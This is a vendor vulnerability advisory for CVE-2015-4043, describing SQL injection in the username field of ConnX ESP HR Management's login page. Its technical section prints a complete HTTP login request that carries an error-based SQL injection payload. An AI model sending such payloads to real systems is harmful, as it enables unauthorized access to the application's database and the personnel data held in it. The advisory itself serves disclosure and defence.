SQL Injection Vulnerabilities in ESP HR Management

Initial Notification Date	25th March 2015
Published Date	26th June 2015
Vendor	ConnX
Application	ESP HR Management
Affected Versions	4.4.0 (20140711)
Risk Rating	High
CVE Reference	CVE-2015-4043
Author	Andrew Kitis

Description

The application ESP HR Management, developed by ConnX is vulnerable to SQL injection within the username parameter on the login page. This would allow any person with access to the login page to send crafted requests to the application in order to leverage this vulnerability to obtain access to the database of the application.

Cause

The implementation of user input validation was implemented incorrectly and exposed the application to SQL injection.

Impact

Successful exploitation provides access to the application's database in the context of a database user that was set within the application configuration. This could expose the information in the database to anyone who is able access the vulnerable page of the application.

Technical Details

An example where it was possible to successfully identify SQL injection can be seen below

The parameter:

- ctl00$cphMainContent$txtUserName

Was found to be vulnerable as seen in the following example:

```
POST /frmLogin.aspx HTTP/1.1
Host: xxx.xxxxxxx.xxx
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0
Iceweasel/31.4.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: xxx

__EVENTTARGET=cbLogin&__EVENTARGUMENT=&__LASTFOCUS=&__VIEWSTATE=[REMOVED]&ctl00$h
fLoad=&ctl00$txtFilter=&ctl00$txtHelpFile=&ctl00$txtReportsButtonOffset=0&ctl00$t
xtMainScrollPos=&ctl00$txtButtonOffsetHeight=-
1&ctl00$txtTimeoutVal=&ctl00$txtTimeoutID=&ctl00$txtDisableCache=False&ctl00$cphM
ainContent$txtUserName=' AND 5525=CONVERT(INT,(SELECT
CHAR(113)+CHAR(115)+CHAR(110)+CHAR(102)+CHAR(113)+(SELECT (CASE WHEN (5525=5525)
THEN CHAR(49) ELSE CHAR(48)
END))+CHAR(113)+CHAR(98)+CHAR(112)+CHAR(106)+CHAR(113))) AND
'Treh'='Treh&ctl00$cphMainContent$txtPassword=&ctl00$cphMainContent$txtClientDate
=24/03/2015&ctl00$txtCurrentFavAdd=&ctl00$hfFavsTrigger=
```

This causes an error based response from the application which can be leveraged to retrieve information from the database.

The application was found to be vulnerable to the following types of SQL injection:

- Error based SQL injection
- Stacked queries
- AND/OR time based blind injection

Within the username parameter mentioned above.